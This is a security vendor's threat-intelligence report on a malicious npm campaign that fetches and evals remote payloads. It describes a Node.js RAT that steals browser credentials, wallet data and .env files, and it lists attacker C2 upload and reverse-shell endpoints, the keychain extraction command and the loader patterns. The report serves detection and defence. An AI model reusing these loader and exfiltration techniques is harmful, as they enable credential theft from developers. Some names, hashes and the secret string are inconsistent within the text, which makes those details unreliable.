

jsonpack: Multi-Tenant Node.js RAT — DPRK Supply Chain Campaign - Panther | The Security Monitoring Platform for the Cloud

Published: 2026-04-03 · Archived: 2026-05-14 02:02:00 UTC

Note — `jsonpack` vs **legitimate** `jsonpack` : `jsonpack` is a legitimate npm JSON compression library published by `sapienlab` in 2013, maintained through 2022, with 1.1.5 as the final version.^{P2} (Footnote prefixes: E = evidence, P = prior art, R = references, A = appendix.) It is unrelated to this campaign. The operator chose `jsonpack[.]com` as a plausible-sounding developer tooling brand — not a deliberate typosquat (npm package names must be unique), but capitalising on the superficial similarity to a real package name for credibility.

Campaign Overview

The `jsonpack` campaign is a supply chain attack comprising **27 confirmed malicious npm (Node Package Manager) packages** published by eight distinct email accounts between 2026-03-18 and 2026-03-31. All 27 share `hello@jsonpack[.]com` as the author contact email in their `package.json` metadata — the basis on which they are grouped as a single campaign, though this alone does not confirm a single operator (see Attribution section).

The Panther NPM.Malicious.Verdict.LLM detection pipeline flagged **2 packages** (`chai-as-hooked` , `chai-as-redeployed`). Both used `hello@jsonpack[.]com` as their author email. Pivoting on that email via the Panther npm-index returned **25 additional packages** — combined with the 2 already known, this brought the total to **27 packages**: 12 were still live on the npm registry and 15 that had been unpublished and were no longer publicly accessible, but were recovered from an npm package mirror.^{E5} 3,739 total downloads were recorded across all 27 packages as of 2026-04-01; the full publish/unpublish chronology is in the Campaign Timeline.^{E6}

The package names are designed to blend into a developer's dependency tree. Most follow the `chai-as-*` naming convention like real `chai.js` assertion library plugins^{E30} — for example `chai-as-adapter` , `chai-beta` , `chai-str` . Others pose as developer metrics and tracking utilities (`trackora-node` , `metrify-chain` , `chain-metrica`) or synchronisation tools (`chain-syncora`). The `express-flowlimit` family presents itself as rate limiting middleware, with a README describing “Lightweight and flexible rate limiting middleware for Express.js applications”.^{E31} Regardless of their names, all packages except the `express-flowlimit` family embed `pino` logger branding in their package contents as an additional layer of legitimacy (see Loader Analysis section). All share a common loader that fires silently on any `require()` of the package, not at install time, by exporting a function that immediately spawns a detached, stdio-suppressed child process.^{E1} This makes the packages invisible to postinstall hook scanners.

On execution, the loader retrieves an obfuscated payload from one of six C2 delivery channels and evaluates it via `new Function.constructor('require', payload)(require)` .^{E2} Payloads were retrieved from four of the six channels on 2026-04-01; **the payloads differ across channels** and are not a single shared stage-3 binary.

One channel's payload was fully decoded at the time of publishing — a 2.8 MB cross-platform **Node.js RAT and infostealer** (SHA256: `fdb582f16475cb79bebd0dfc48d610430cae2e39e9a3e2abd373b3413691838`)^{E3} that spawns three concurrent background scripts: a browser credential stealer targeting 13 Chromium-based browsers^{A1} and 40 crypto wallet extensions,^{A2} a full-filesystem file exfiltrator targeting `.env` secrets, and a `socket.io` reverse shell with real-time clipboard monitoring. All exfiltration targets a single Vultr VPS at `144.172.110[.]132` across ports 8085, 8086, and 8087.^{E15}

The remaining channels serve distinct payloads — from a 4 KB secondary loader that fetches a further unknown stage, to ~90 KB partially-decoded payloads that lack the decoded channel's operator fingerprints — consistent with a multi-tenant architecture where different operators deploy their own malware via shared infrastructure (see [Attribution](#)). Two channels were offline at retrieval time.

Four techniques not previously documented in public threat intelligence were identified during this analysis, including HTTP 404-triggered payload delivery that defeats all 94 VirusTotal engines, and a WSL-to-Windows credential bridge that steals Windows host browser credentials from inside a Linux process (see [Interesting Findings](#)).

Architecture

Status	Count	Downloads	Naming strategy
Live (installable as of 2026-04-01)	12	1,917	chai-as-* / chai-* (9), express-flowlimit (1), trackora-* (2)
Deleted (unpublished, recovered from mirror)	15	1,822	coremesh / relion / syncora / metrify / metrica families, gemini-ai-checker , chai-extensions-extra , chai-as-hooked , chai-as-redeployed
Total	27	3,739	8 throwaway publisher accounts, all using hello@jsonspack[.]com as author email

Of the 15 deleted packages, 14 were removed within npm's 72-hour self-unpublish window (most likely threat actor self-removals). `geminai-checker` lived 301.6 hours before removal — outside the self-unpublish window, requiring npm support or security action.^{E25}

Loader Analysis

All 27 packages — without exception — use the same trigger: `index.js` exports a middleware function that, on any `require()` of the package, immediately calls `runJobA()`. This spawns `lib/caller.js` as a detached, silent background process — no postinstall hook, no user interaction required.^{E1}

chai-as-encrypted **is the sole exception:** it uses an IIFE (Immediately Invoked Function Expression) in `lib/initializeCaller.js` that fires inline on `require()` rather than spawning a child process.^{E9}

The loader is always unobfuscated and readable in every package. There are **five distinct loader variants** across the campaign — each hardcodes its C2 URL differently. The obfuscation begins at the stage-2 payload level, not the loader itself. Variant 5 (npoint — chai-as-encrypted) uses an IIFE that fires inline on `require()` rather than spawning a child

process; it is covered in the Trigger Mechanism section above. E9 Variants 1–4 below are the spawn-based loaders. Full loader source for each variant is archived in [artifacts/jsonspack/loaders/](#).

Variant 1 — BADC6 cluster (`metrify-chain@2.4.5` , loader SHA256:

`5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23`)E37

`lib/const.js` exports the C2 URL as a base64 string. `lib/caller.js` redeclares a local `const process` object that shadows Node.js's global `process` , so `process.env.DEV_API_KEY` resolves to the hardcoded value rather than any real environment variable — a deliberate evasion of scanners that look for `env` var lookups.

Variant 2 — FAWPU cluster (`lockedin-chai-chain@1.2.6` , loader SHA256:

`70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8`)E38

`caller.js` is entirely self-contained — the C2 URL is inline as a direct `atob()` call with no `const process` shadow and no `lib/const.js` dependency. A `lib/const.js` file exists in the package but contains a different URL (4NAKK) and is never read by this variant's `caller.js` .

Variant 3 — XRGF3 cluster (`chai-str@1.1.9` , loader SHA256:

`d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71`)E39

`caller.js` hardcodes the C2 URL as a **plaintext string literal** — the most directly readable form. A `const process` shadow block is also present (with the same URL in base64) but the executing code uses the plaintext `src` variable, not `atob(process.env.DEV_API_KEY)` .

Variant 4 — Vercel / 4NAKK clusters (`express-flowlimit@2.2.8` , loader SHA256:

`0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef`)E40

`caller.js` reads from `require('./config')` — a split-config design that fragments the C2 URL across two files to defeat single-file IOC matching. The Vercel and 4NAKK clusters share this identical `caller.js` ; only their `lib/config.js` files differ. HTTP 200 returns a benign decoy log message; the payload is delivered on HTTP 404 via `error.response.data.token` .

Channel allocation is static, not dynamic. Each package is bound to exactly one C2 channel at publish time. The specific embedding technique differs by variant: BADC6 uses an inline `const process` shadow in `caller.js` (the C2 URL is hardcoded in the shadow declaration itself, not imported from `const.js`); FAWPU uses a direct `atob()` call with no `const process` shadow and no `const.js` dependency; XRGF3 uses a plaintext string literal; Vercel uses a split `config.js` .E34 Three of the four techniques (BADC6, FAWPU, Vercel) obscure the C2 URL from static string-literal scanners. The XRGF3 variant is the exception — its C2 URL is a plaintext string literal and would be detected by any URL regex scanner.

Different packages were published pointing to different channels. Whether this reflects separate platform tenants deploying their own payloads, load balancing, or infrastructure resilience is unknown.

The stage-2 payload — the content of `response.data.cookie` served by the C2 — is where the obfuscation begins.

Stage-2 Payload Obfuscation

The payload served by each C2 cluster is a heavily obfuscated JavaScript file delivered as the `cookie` field of a JSON HTTP response. The following is the opening of the `npoint[.].io` payload as received — the raw obfuscated content before any analysis:E3

All meaningful strings — module names, URLs, credentials, C2 addresses — are encrypted using RC4+base64 and stored in a 17,131-entry array. Every string access goes through a chain of wrapper functions (e.g. `dS()` , `dr()` , `dK()`) that decode on demand. The obfuscation uses obfuscator.io's short-name variant: single-character variable names (`D` , `y` , `Q` , `W` , `B`) rather than the default `_0x` -prefixed hex identifiers, producing a smaller file and defeating `_0x` -pattern detection rules.

The FAWPU, XRGF3, and BADC6 cluster payloads use the same cipher and variant but at much smaller scale (32, 1,292, and 1,295 array entries respectively).E29 Their deobfuscation was only partially successful — see the Payload Status table below.

C2 Delivery Clusters

Six C2 delivery channels were identified across the 27 packages. Five are documented in the table below (confirmed by `shasum -a 256` on `lib/caller.js` across all downloaded tarballs — five distinct loader hashes). The sixth, `isillegion[.]com` , was used by `chai-as-hooked` and `chai-as-redeployed` and is documented in the [Network IOCs](#) section.E10

Cluster	C2 URL	Loader SHA256
---------	--------	---------------

FAWPU	<code>https://jsonkeeper[.]com/b/FAWPU</code>	<code>70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8</code>
XRGF3	<code>https://jsonkeeper[.]com/b/XRGF3</code>	<code>d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71</code>
BADC6	<code>https://jsonkeeper[.]com/b/BADC6</code>	<code>5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23</code>
npoint	<code>https://api.npoint[.]io/2cc8f9fa09a141aafc03</code>	<code>baa5f96044388ff17a9c84a01ce50ee399cf0c9b146d5c7491e4a23a9eb095b6</code>
Vercel	<code>http://server-check-genimi.vercel[.]app/defy/v3</code>	<code>0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef</code>

All four Vercel-family packages share the same `caller.js` hash (`0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef`) — the C2 endpoint is differentiated via `lib/config.js` . The 4NAKK URL appears only as dead code in `lib/const.js` of two packages and is never executed.E40 The BADC6 cluster is the largest by package count (13 packages), 11 of which were self-unpublished before detection (2 remain live: `trackora-node` , `trackora-chain`).

Payload status per cluster (retrieved and deobfuscation attempted 2026-04-01):E29

Cluster	Payload size	Obfuscation	Deobfuscation result	Operator fingerprints
---------	--------------	-------------	----------------------	-----------------------

npoint	2,809,744 chars	obfuscator.io short-name, RC4+base64, 17,131 entries	Full decode — 117 KB readable output	<code>u_k=301 , t=3 , SuperStr0ngSecret@)^ , 144.172.110[.]132</code>
FAWPU	4,228 chars	obfuscator.io short-name, RC4+base64, 32 entries	Partial — 3.2 KB structural output; RC4 strings not decoded	None
XRGF3	92,242 chars	obfuscator.io short-name, RC4+base64, 1,292 entries	Partial — 45 KB structural output; RC4 strings not decoded	None
BADC6	91,762 chars	obfuscator.io short-name, RC4+base64, 1,295 entries	Partial — 43 KB structural output; RC4 strings not decoded	None
Vercel	—	Unknown	Not attempted — offline	Unknown

The Vercel/4NAKK variant uses a split config and 404-triggered delivery rather than a `const.js` config file.

Kill Chain

Stage 1: Payload Retrieval — Six Delivery Channels

Channels 1–4 (jsonkeeper FAWPU/XRGF3/BADC6, npoint): GET with `x-secret-key: _` header. Response JSON field `response.data.cookie` contains the obfuscated payload. Evaluated via `new Function.constructor('require', payload)(require)`.

The payloads served by each channel are not identical. The `npoint[.]io` channel was the only one analysed in full. On 2026-04-01 the researcher fetched the FAWPU, XRGF3, and BADC6 bucket responses from a secure machine; the 4NAKK bucket returned HTTP 404 (offline); and both Vercel probe requests returned HTTP 404 (C2 offline or taken down). The three fetched payloads are distinct from the `npoint[.]io` payload and from each other.E26

Channel	Raw JSON SHA256	Extracted JS size	Extracted JS SHA256
npoint	<code>00a32991fb03bef7ed76498e43be6b43b486bf0ae361e4553145ed9b13099278</code>	2,809,744 chars	<code>fdb582f16475cb79bebd0dffc48d610430c</code>
FAWPU	<code>42ff9965ef1b9deb7c4dd419260aad4d31f1360e9ce71521e4f620c550b2a040</code>	4,228 chars	<code>120ea01d0994b048a3af21849e7ad4cd005</code>
XRGF3	<code>5b9319a3c154855682d903b9934ad04e49e43d33cdf8255d96fa0fb99ec1007e</code>	92,242 chars	<code>ce56c8708468e1570c75f39f8c09116bbac</code>
BADC6	<code>ae4b4cec52a9186028722940c19de80fdf18dc2109d8a9f42a393058f9fa198a</code>	91,762 chars	<code>56b93d0040a88934bf5cc78323f5166afb5</code>
4NAKK	n/a	n/a	n/a

Vercel	n/a	n/a	n/a

FAWPU (4,228 chars) — secondary loader, not the final RAT. The FAWPU bucket serves a compact obfuscated script (10 functions, 32 string array entries, RC4+base64 cipher) whose sole purpose is to spawn a detached `node -e child` process. The spawned command dynamically constructs an `axios.get(<URL>).then(res => eval(res.data.<field>))` call — making FAWPU a **third stage** that fetches yet another payload from a URL encoded in its string array. That URL cannot be recovered through static analysis alone without executing the script. Operator constants (`SuperStr0ngSecret0@^`, `u_k=301`, `144.172.110[.]132`) are absent from its static strings.E27

XRGF3 and BADC6 (~90KB each) — same underlying payload, different obfuscation runs. Both share near-identical structure: ~1,292–1,295 string array entries, ~122–124 function definitions, RC4+base64 cipher with the standard base64 alphabet, and an array-rotation IIFE using the same `while(true)` pattern. The lazy-init sentinel property names differ (`glDhtH` for XRGF3, `kabm8n` for BADC6) — consistent with two separate runs of the same obfuscator configuration producing different random identifiers. Neither contains `SuperStr0ngSecret0@^`, `144.172.110[.]132`, `socket.io`, `searchAndUpload`, or `ldbScript` in its static strings. The `0x301` value that appears in both is a hex lookup index in the string decoder, not the `u_k=301` operator constant.E28 These are a different payload family from the `npoint[.]io` RAT — possibly an earlier version, a lighter-weight variant, or a different operator's deployment on the same infrastructure.

Stage 2: Payload Execution — Three-Script Concurrent RAT

The C2 serves the payload as `{"cookie":"<2.8MB obfuscated JS>"}` — a JSON object whose `cookie` field contains executable JavaScript, delivered as `application/json`.R2 After evaluation, the payload spawns three concurrent background scripts, each tracked by a PID lock file:

Script 1 — ldbScript (Browser Credential Stealer)

Targets 13 Chromium-based browsers.A1 Platform-specific AES-256-GCM (Advanced Encryption Standard — Galois/Counter Mode) master key decryption:

- **macOS:** Keychain via `security find-generic-password -w -s "<Browser> Safe Storage"`, PBKDF2 (Password-Based Key Derivation Function 2) with parameters: salt `saltysalt`, 1003 iterations, SHA1, 16-byte key
- **Windows:** DPAPI (Data Protection API) via ephemeral PowerShell `.ps1` temp scripts, `ProtectedData.Unprotect()`, `CurrentUser` and `LocalMachine` scopes
- **Linux:** `secret-tool` or Python `secretstorage`

Browser `Login Data` SQL (Structured Query Language) database copied to temp path to bypass file locks, queried via `sql.js` (auto-installed if absent). Also targets:

- **40 crypto wallet browser extensions** via `Local Extension Settings` directory enumerationA2
- **macOS** `~/Library/Keychains/login.keychain-db`

All output uploaded to `http://144.172.110[.]132:8085/upload`.E3

Script 2 — autoUploadScript (File Exfiltrator)

Priority scan of Documents, Desktop, Downloads, then full home directory (macOS/Linux) or all drives (Windows via `wmic logicaldisk get name`). Separate recursive filesystem-wide search for `.env*` files (`.env`, `.env.local`, `.env.production`, etc.). Uploads all files ≤10 MB to `http://144.172.110[.]132:8086/upload`. Exclusions: `node_modules`, `.git`, `vendor`, `venv`, `dist`, `build`, `Library`, `System`.E3

Script 3 — socketScript (Reverse Shell + Clipboard Monitor)

`socket.io` client → `ws://144.172.110[.]132:8087`. Auto-installs `socket.io-client` via `npm install --no-save --loglevel silent` if absent. On connect: POSTs host info (hostname, OS, username) to `http://144.172.110[.]132:8087/api/notify`. HMAC-SHA256 authenticates all requests using `SuperStr0ngSecret0@^`.E13

Remote command dispatch:

Socket event / code	Function
<code>command</code> / code <code>102</code>	Directory listing via <code>fs.readdirSync</code>
<code>command</code> / code <code>107</code>	File download: read → upload → return URL
<code>command</code> (no code)	<code>child_process.exec(command, { maxBuffer: 300MB })</code>
<code>processControl</code> + <code>stop</code>	PID lookup from lock file → <code>SIGTERM</code> → <code>SIGKILL</code>
<code>processControl</code> + <code>start</code>	Log receipt (manual start required)

Clipboard polling every 1 second — POSTs every change to `/api/log` :

- **macOS:** `execSync('pbpaste')`
- **Windows:** PowerShell `[System.Windows.Forms.Clipboard]::GetText()`
- **Linux/WSL (Windows Subsystem for Linux):** `xclip` / `xsel` ; WSL falls back to `PowerShell.exe`

WSL-to-Windows Credential Bridge

The payload detects WSL via `/proc/version` string match and `WSL_DISTRO_NAME` env var.E14 When in WSL, browser credential paths redirect from Linux paths to Windows filesystem bridge paths:

A developer running Node.js inside WSL has their **Windows host browser credentials** exfiltrated by the npm package.

Attribution

Verdict: DPRK / Lazarus Group (Famous Chollima)

Confidence: High

This attribution was updated on 2026-04-03 following the review of dprk-research.kmsec.uk, a DPRK npm threat intelligence feed that independently identified 24 of the 27 jsonspack packages as part of a broader DPRK supply chain operation comprising 163+ packages published across March–April 2026.

The original attribution verdict of “financially-motivated MaaS criminal operator” was based solely on internal technical analysis of the jsonspack packages and payload. That analysis correctly identified several features inconsistent with known DPRK tooling at the time — Node.js RAT (vs. Go/Python), commercial obfuscator.io (vs. hand-rolled XOR), `u_k / t` multi-tenancy constants, and the unmodified Plesk panel. Those observations remain accurate. Further analysis using the pivots from kmsec shows an even more extensive campaign that is still under active investigation.

Why attribution has changed:

The kmsec feed confirmed that **24 of the 27 jsonspack packages** appear across the broader DPRK campaign, published by accounts whose email addresses, naming patterns, and publish cadence match the wider cluster of 163 packages the feed attributes to DPRK / Lazarus (Famous Chollima). Specifically:P3

- `thyfaultkathy4263@hotmail.com` — publisher of `express-flowlimit`, `chai-extensions-extras`, `chai-extensions-extra`, `gemini-ai-checker` — is flagged across multiple DPRK-attributed packages in the kmsec feed
- `corvettdan1963@inlook.cloud` — publisher of `chai-as-adapter`, `chai-as-chain-v2`, `chai-as-evm` — appears in the same cluster
- `mwai2005@officecombine.com` (`chai-use-chain`), `wovon16983@marvetos.com` (`trackora-chain`, `trackora-node`), `mexowoj971@izkat.com` (`chai-str`), `borire8128@jsncos.com` (`chai-beta`), and `jghff@smartretireway.com` (`linkedin-chai-chain`) are all attributed to DPRK by the kmsec feed
- The disposable email provider domains used across these accounts — `inlook.cloud`, `officecombine.com`, `marvetos.com`, `jsncos.com`, `izkat.com`, `smartretireway.com` — are consistent with the throwaway account generation pattern documented throughout the kmsec 163-package set

- The `hello@jsonspack[.]com` shared author email — present in `package.json` metadata across 14 of the 27 packages — functions as a campaign brand in the same way other DPRK packages in the broader set use shared author contact emails as grouping identifiers

The three jsonspack packages not confirmed in the kmsec feed (`chai-as-hooked` , `chai-as-redeployed` , `chai-as-encrypted`) share the same loader architecture, masquerade strategy, and pino impersonation pattern as the 24 confirmed packages, and are assessed with high confidence as part of the same operation.

Motivation: Crypto theft and credential exfiltration — consistent with the financial targeting priorities of DPRK operations. The 40-wallet extension targeting list, Brave browser emphasis, and clipboard interception at 1-second polling are consistent with crypto-focused DPRK operations.

Sophistication tier: Above-average supply chain operator. The 404-triggered evasion, runtime-not-install trigger, config fragmentation, WSL-to-Windows credential bridging, and HMAC-authenticated C2 communication are above the baseline for criminal npm malware.

Concurrent campaigns: The Axios npm supply chain compromise (2026-03-31, Elastic/Trend Micro/Mandiant GTIG) is contemporaneous, also attributed to a North Korea-nexus actor, and distinct from jsonspack in terms of — dropper, loader, C2, delivery mechanism, obfuscation, and payload architecture.

[P3] [dprk-research.kmsec.uk](#) — DPRK npm supply chain threat intelligence feed, accessed 2026-04-03. 163 live packages attributed to DPRK / Lazarus (Famous Chollima), published March–April 2026. 24 of the 27 jsonspack packages appear in the feed. Publisher email data from the kmsec feed was used as the primary pivot for cross-campaign attribution.

Interesting Findings

The following techniques were not found in public threat intelligence sources reviewed by the Panther Threat Research team as of 2026-04-01.E18 Where other researchers have documented related techniques, those are noted under each finding.

Finding 1: HTTP 404 Error Response as Payload Delivery Signal

What: Loader fires a C2 beacon on `require()` . HTTP 200 returns a benign decoy log message. HTTP 404 delivers the malicious payload in `error.response.data.token` . Sandboxes probing the live C2 see no malicious behaviour.

Where: `express-flowlimit` / `chai-extensions-extras` — `lib/caller.js` `.catch()` handler.

Evidence:

Determined from: Static analysis of `lib/caller.js` (SHA256:

`0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef`) read directly from the downloaded npm tarball — plain, unobfuscated JavaScript, no deobfuscation required.E22 The 404-vs-200 behaviour is explicit in the source: the `try` block handles HTTP 200 with a benign log message (`console.log("Token fetched:", response.data.token)`); the `catch(error)` block checks for HTTP 404 and executes `error.response.data.token` via `Function.constructor` . The inference that scanners receive a clean 200 is from the code logic, corroborated by the 0/94 VT detection rate on the URL, not from live testing of the C2.E11

Why this is notable: No published report documents using an HTTP error response code as the payload delivery gate. All prior npm sandbox-evasion uses OS fingerprinting, env var checks, or timing delays. The nearest MITRE technique is T1480 (Execution Guardrails)R1 — no sub-technique covers HTTP error code as delivery signal.

Detection opportunity: Network: outbound GET immediately followed by `Function.constructor` `eval` in a `.catch()` handler. YARA on string `bearrtoken` . Host: `new (Function.constructor)` call with `require` argument.

MITRE ATT&CK: T1480 — Execution Guardrails (no exact sub-technique); T1205 — Traffic Signaling (closest structural match — using network response properties to gate execution).

Finding 2: JSON `{"cookie":"<JS>"}` Payload Masquerade

What: C2 serves 2.8 MB obfuscated JavaScript as the value of a `cookie` key in a JSON response body, delivered as `application/json` . The semantic mismatch — JavaScript in a `cookie` field in JSON — may evade content-type scanners expecting `application/javascript` for eval'd content.

Where: All six C2 clusters. Loader: `(await axios.get(endpoint)).data.cookie` .

Evidence:

Why this is notable: Searched all 13 sources. No documentation found for `response.data.cookie` as a JavaScript payload access pattern, or for `application/json` masquerading a JavaScript payload.

Detection opportunity: HTTP responses with `Content-Type: application/json` whose body is a single-key JSON object with a value >100 KB beginning with JavaScript function signatures.

MITRE ATT&CK: T1001 — Data Obfuscation; T1132.001 — Standard Encoding.

Finding 3: WSL-to-Windows Credential Bridge via /mnt/c/Users/

What: Detects WSL via `/proc/version` and `WSL_DISTRO_NAME`. In WSL context, redirects browser credential paths to `/mnt/c/Users/<user>/AppData/Local/*` and uses `PowerShell.exe` for clipboard — stealing Windows host credentials from a Linux process.

Where: `is_wsl()` function and `getChromiumBasePaths()` WSL branch in the deobfuscated `npoint[.]io` payload (`artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt`). E14

Evidence:

Why this is notable: WSL detection in malware is documented exclusively for sandbox evasion (stop executing). Cross-boundary credential theft by redirecting to `/mnt/c/Users/` is undocumented. MITRE T1497.001 covers WSL detection for evasion only — no sub-technique for WSL-to-Windows credential bridging.

Detection opportunity: Node.js process reading `/proc/version`; file access to `/mnt/c/Users/*/AppData/Local*/Default/Login Data`; `cmd.exe` or `PowerShell.exe` spawned from a Linux/Node process.

MITRE ATT&CK: T1555.003 — Credentials from Web Browsers (WSL bridge variant, undocumented).

Finding 4: Three-Script Concurrent RAT with PID Lock File Orchestration

What: Stage-3 spawns three independently managed background Node.js scripts, each tracked by `/tmp/pid.<t>.<n>.lock`. Operator selectively starts/stops scripts via `processControl` socket.io events. The tenant ID (`t=3`) is embedded in the lock filenames, enabling per-tenant process management on a shared panel.

Where: `Utils.sp_s()` calls at lines 845, 851, and 862 of the deobfuscated `npoint[.]io` payload (`artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt`). E3

Evidence:

Why this is notable: No documented npm RAT deploys three concurrent specialised scripts with operator-controlled start/stop via PID lock files. The Elastic/Trend Micro Axios campaign (Apr 2026) documents three platform variants of one RAT — fundamentally different from three concurrent specialised modules.

Detection opportunity: `/tmp/pid.*.*.lock` created during Node.js execution; multiple Node.js processes spawned from a single require event; `processControl` events on external WebSocket connection.

MITRE ATT&CK: T1059.007 — JavaScript; T1041 — Exfiltration Over C2 Channel.

Detecting the Campaign

Discovery Chain

This campaign was discovered entirely through internal Panther detection rules and infrastructure. There were no prior OSM reports, vendor advisories, or external threat intelligence identified these packages before this analysis. The Panther NPM.Malicious.Verdict.LLM alert fired on 2026-03-30 on two packages (`chai-as-hooked`, `chai-as-redeployed`) — confidence 0.99 and 0.92 — both tied to the `hello@jsonspack[.]com` author email.E19 Post-triage email pivot via the Panther npm-index surfaced all 27 packages; the `npoint[.]io` stage-3 payload was fully decoded the following day — the first analysis of this RAT by any tool, with all IOCs absent from VT at discovery.E21

Detection Coverage

Detection point	Source	Packages caught	Missed
Panther NPM.Malicious.Verdict.LLM	Internal	2 of 27	25
VT (XRGF3 9/94, 4NAKK 4/94, npoint 5/95)	External	Partial — buckets flagged, loaders/payload not	—
OSM (pre-this-analysis)	External	0 of 27	27

npm-index email pivot	Internal	All 27 + stage-3 payload	—
-----------------------	----------	--------------------------	---

The Panther alert on `chai-as-hooked` was the single thread that exposed the entire campaign. The `hello@jsonspack[.]com` publisher email — present in the first alert — was the pivot that surfaced all 27 packages and 3,739 total downloads of an active cross-platform RAT.

Detection Rules

Panther detection rule logic for the jsonspack campaign TTPs. Each rule targets a specific stage of the kill chain using CrowdStrike Falcon Data Replicator (FDR) telemetry. Rules are ordered from highest-confidence IOC matches to broader behavioural patterns.

Each block is the Python detection logic only. Full rule files additionally require a YAML sidecar (`Status: Experimental` , `LogTypes: [CrowdStrike.FDREvent]` , `RuleID` , `Tests`).

Rule 1 — jsonspack C2 Network Connection (IOC Match)

Detects outbound connections to the jsonspack C2 IP (`144.172.110[.]132`) on the three known operator ports. Highest-confidence rule — any match is a confirmed compromise.

Rule 2 — jsonspack C2 DNS Lookup

Detects DNS resolution of known jsonspack infrastructure domains — stage-2 payload hosts and the isillegion C2.

Rule 3 — Node.js Spawning Detached Child Process

Detects the jsonspack trigger mechanism: `node` spawning `node` with a known loader script argument — the `runJobA()` pattern that fires `lib/caller.js` as a detached background process on any `require()` of the malicious package.

Rule 4 — PID Lock File Creation (RAT Orchestration)

Detects creation of `/tmp/pid.*.*.lock` files — the three-script RAT orchestration pattern. The tenant ID (`t`) and script index are embedded in the filename.

Rule 5 — macOS Keychain Access by Node.js

Detects the ldbScript browser credential stealer calling `security find-generic-password` to extract browser AES-256-GCM master keys from the macOS Keychain.

Rule 6 — Node.js Spawning PowerShell for DPAPI Decryption (Windows)

Detects the ldbScript Windows credential theft path: Node.js spawning ephemeral PowerShell scripts that call `ProtectedData.Unprotect()` to decrypt browser master keys via DPAPI.

Rule 7 — WSL-to-Windows Credential Bridge Access

Detects the novel WSL-to-Windows credential bridge: a Linux Node.js process accessing Windows browser credential stores via the `/mnt/c/Users/` filesystem mount.

Indicators of Compromise

Hashes

14 file hashes (loaders and payloads) — see [Appendix B](#).

Network

IOC	Type	VT E15	Notes
<code>144.172.110[.]132</code>	C2 IP	0/94	Vultr VPS, Plesk panel, hostname: <code>gifted-rhodes.144-172-110-132.plesk[.]page</code> ; fresh infra

<code>http://144.172.110[.]132:8085/upload</code>	C2 URL	0/94	ldbScript browser credential upload
<code>http://144.172.110[.]132:8086/upload</code>	C2 URL	0/94	autoUploadScript file exfil
<code>ws://144.172.110[.]132:8087</code>	C2 WS	0/94	socket.io reverse shell
<code>http://144.172.110[.]132:8087/api/notify</code>	C2 URL	0/94	Host registration
<code>http://144.172.110[.]132:8087/api/log</code>	C2 URL	0/94	Clipboard + log exfil
<code>https://api.npoint[.]io/2cc8f9fa09a141aafc03</code>	Stage-2 URL	5/95	npoint cluster
<code>https://jsonkeeper[.]com/b/FAWPU</code>	Stage-2 URL	0/94	FAWPU cluster — first discovery
<code>https://jsonkeeper[.]com/b/XRGF3</code>	Stage-2 URL	9/94	XRGF3 cluster
<code>https://jsonkeeper[.]com/b/BADC6</code>	Stage-2 URL	0/94	BADC6 cluster — first discovery
<code>https://jsonkeeper[.]com/b/4NAKK</code>	Stage-2 URL	4/94	4NAKK cluster — HTTP 404 as of 2026-04-01, offline
<code>http://server-check-genimi.vercel[.]app/defy/v3</code>	Stage-2 URL	0/94	Vercel cluster — HTTP 404 as of 2026-04-01, offline
<code>www.isillegion[.]com</code>	Earlier C2	—	Distinct C2 endpoint used by <code>chai-as-hooked</code> and <code>chai-as-redeployed</code> (the two packages that triggered Panther detection); relationship to main campaign infrastructure unknownE36

Operator Fingerprints

Constant	Value	Significance
<code>u_k</code>	<code>301</code>	Numeric identifier hardcoded in <code>npoint[.]io</code> payload; purpose and allocation scheme unknown E4
<code>t</code>	<code>3</code>	Tenant/campaign ID, embedded in PID lock filenames E4

HMAC secret	SuperStr0ngSecret@)^	Shared secret used to authenticate all C2 requests; @)^ produced by Shift+2,0,2,6 on US QWERTY (intent unconfirmed); string not found in any reviewed public malware repository or threat reportP1
Lock files	/tmp/pid.3.{1,2,3}.lock	Process management for three concurrent scripts E4

Files Created on Victim System

Path	Created by	Purpose
/tmp/pid.3.1.lock	ldbScript	Browser stealer PID tracking
/tmp/pid.3.2.lock	autoUploadScript	File exfil PID tracking
/tmp/pid.3.3.lock	socketScript	Reverse shell PID tracking
/tmp/.tmp/.upload_<ts>_<rand>/	autoUploadScript	Temp staging dir for file uploads
/tmp/decrypt-<ts>-<rand>.ps1	ldbScript (Windows)	Ephemeral DPAPI decryption script

Campaign Timeline

All publish and unpublish timestamps from npm registry API. † For deleted packages, the npm publisher account is unrecoverable post-deletion; value shown is the author email from package.json metadata.E6 All times UTC.

Timestamp (UTC)	Event	Package	Publisher / Author †	C2 Cl
2026-03-18T19:37:14Z	Published	geminai-ai-checker@1.3.3	hello@jsonspack[.]com	Verce
2026-03-18T19:44:03Z	Published	geminai-ai-checker@1.3.4	hello@jsonspack[.]com	Verce
2026-03-19T21:09:58Z	Published	geminai-ai-checker@1.3.5	hello@jsonspack[.]com	Verce
2026-03-19T21:43:40Z	Published	geminai-ai-checker@1.3.6	hello@jsonspack[.]com	Verce
2026-03-19T23:49:33Z	Published	lockedin-chai-chain@1.2.6	amnotgonnalie	FAWI
2026-03-21T17:54:36Z	Published	express-flowlimit@1.3.6	geminai-check	Verce

2026-03-21T17:59:56Z	Published	express-flowlimit@2.1.6	gemini-check	Verce
2026-03-21T18:08:03Z	Published	express-flowlimit@2.2.7	gemini-check	Verce
2026-03-25T06:44:16Z	Published	chai-str@1.1.9	ondoeth	XRGJ
2026-03-25T07:38:49Z	Published	chai-beta@1.1.9	boriseth	XRGJ
2026-03-25T08:42:14Z	Published	chai-as-encrypted@2.0.6	johnsonjamesedc5033	npoin
2026-03-25T10:22:48Z	Published	chai-as-chain-v2@1.1.1	corvettdan1963	FAWI
